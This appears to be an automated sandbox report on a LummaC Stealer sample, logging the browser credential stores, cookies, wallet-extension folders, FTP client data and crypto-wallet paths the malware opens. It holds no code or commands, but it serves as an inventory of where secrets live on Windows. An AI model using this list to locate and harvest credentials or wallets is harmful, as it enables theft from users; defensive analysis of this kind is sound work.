Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00D11D09
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: EnumSystemLocalesW,	0_2_00D11FF6
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: EnumSystemLocalesW,	0_2_00D11FAB
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,	0_2_00D11F04

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00CF6BEB GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_00CF6BEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Jaxx
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\Notes9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
